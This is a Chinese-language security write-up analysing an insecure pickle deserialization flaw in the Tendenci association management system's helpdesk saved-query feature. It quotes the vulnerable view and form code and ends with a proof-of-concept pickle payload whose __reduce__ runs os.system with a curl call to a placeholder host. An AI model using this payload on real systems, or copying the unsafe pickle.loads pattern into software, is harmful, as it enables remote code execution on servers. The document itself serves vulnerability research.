反序列化
来自一个开源协会管理系统,文件tendenci\apps\helpdesk\views\staff.py
def ticket_list(request):
context = {}
......
if request.GET.get('saved_query', None):
from_saved_query = True
try:
saved_query = SavedSearch.objects.get(pk=request.GET.get('saved_query'))
except SavedSearch.DoesNotExist:
return HttpResponseRedirect(reverse('helpdesk_list'))
if not (saved_query.shared or saved_query.user == request.user):
return HttpResponseRedirect(reverse('helpdesk_list'))
import pickle
from base64 import b64decode
query_params = pickle.loads(b64decode(str(saved_query.query).encode()))
elif not ( 'queue' in request.GET
or 'assigned_to' in request.GET
or 'status' in request.GET
or 'q' in request.GET
or 'sort' in request.GET
or 'sortreverse' in request.GET
):
从上面代码看出,这是一个从views中获取参数saved_query
,通过id判断请求的用户和数据所属用户身份,正确后反序列化其中的query值,那么这个数据库是如下,保存的是一个文本字段。
class SavedSearch(models.Model):
......
query = models.TextField(
_('Search Query'),
help_text=_('Pickled query object. Be wary changing this.'),
)
如何去处理这个字段的值,在上个文件中,找到保存的处理方法。从post中获取query_encoded
,判断不为空则直接保存进数据库。
def save_query(request):
title = request.POST.get('title', None)
shared = request.POST.get('shared', False) in ['on', 'True', True, 'TRUE']
query_encoded = request.POST.get('query_encoded', None)
if not title or not query_encoded:
return HttpResponseRedirect(reverse('helpdesk_list'))
query = SavedSearch(title=title, shared=shared, query=query_encoded, user=request.user)
query.save()
那么如何调用的,同样去搜索关键词save_query
找到路由,找到对应的name为helpdesk_savequery
,找到对应的前端表单
<form method='post' action='{% url 'helpdesk_savequery' %}'>
<input type='hidden' name='query_encoded' value='{{ urlsafe_query }}' />
<dl>
<dt><label for='id_title'>{% trans "Query Name" %}</label></dt>
<dd><input type='text' name='title' id='id_title' /></dd>
<dd class='form_help_text'>{% trans "This name appears in the drop-down list of saved queries. If you share your query, other users will see this name, so choose something clear and descriptive!" %}</dd>
<dt><label for='id_shared'>{% trans "Shared?" %}</label></dt>
<dd><input type='checkbox' name='shared' id='id_shared' /> {% trans "Yes, share this query with other users." %}</dd>
<dd class='form_help_text'>{% trans "If you share this query, it will be visible by <em>all</em> other logged-in users." %}</dd>
</dl>
<div class='buttons'>
<input class="btn btn-primary" type='submit' value='{% trans "Save Query" %}'>
</div>
{% csrf_token %}</form>
从表单中可以看到,query_encoded
是模板写入,找到urlsafe_query
看是如何调用的,从调用结果看,就知道是后台先去序列化然后赋值给模板,前端模板操作的时候,再把这个序列化的值传入后台中去反序列化。
......
import pickle
from base64 import b64encode
urlsafe_query = b64encode(pickle.dumps(query_params)).decode()
尝试构造一个反序列化的poc
import pickle,os
from base64 import b64encode
class exp(object):
def __reduce__(self):
return (os.system,('curl http://xxxx/py',))
e = exp()
b64encode(pickle.dumps(e))